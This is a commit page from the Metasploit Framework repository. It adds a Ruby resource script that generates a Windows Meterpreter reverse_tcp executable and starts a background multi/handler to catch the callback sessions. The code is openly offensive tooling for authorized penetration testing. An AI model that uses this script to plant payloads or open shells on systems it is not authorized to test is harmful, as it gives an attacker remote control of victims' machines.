Skip to content

Commit 14da69c

Browse files
committed
Land rapid7#4757, adds RC for auto payload gen
Closes rapid7#4740 Normally we type a bunch of msfvenom/msfconsole commands to generate a payload for setting up a handler, sometimes we're too lazy to type a bunch of commands so this should make things a little bit easier.
2 parents ce688f4 + 60c650d commit 14da69c

File tree

1 file changed

+28
-0
lines changed

1 file changed

+28
-0
lines changed
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
<ruby>
2+
PAYLOAD = 'windows/meterpreter/reverse_tcp'
3+
4+
def payload_lhost
5+
framework.datastore['LHOST'] || Rex::Socket.source_address
6+
end
7+
8+
def payload_lport
9+
framework.datastore['LPORT'] || 4444
10+
end
11+
12+
def out_path
13+
"#{Msf::Config::local_directory}/meterpreter_reverse_tcp.exe"
14+
end
15+
16+
run_single("use payload/#{PAYLOAD}")
17+
run_single("set lhost #{payload_lhost}")
18+
run_single("set lport #{payload_lport}")
19+
run_single("generate -t exe -f #{out_path}")
20+
print_status("#{PAYLOAD}'s LHOST=#{payload_lhost}, LPORT=#{payload_lport}")
21+
print_status("#{PAYLOAD} is at #{out_path}")
22+
run_single('use exploit/multi/handler')
23+
run_single("set payload #{PAYLOAD}")
24+
run_single("set lhost #{payload_lhost}")
25+
run_single("set lport #{payload_lport}")
26+
run_single('set exitonsession false')
27+
run_single('run -j')
28+
</ruby>

0 commit comments

Comments
 (0)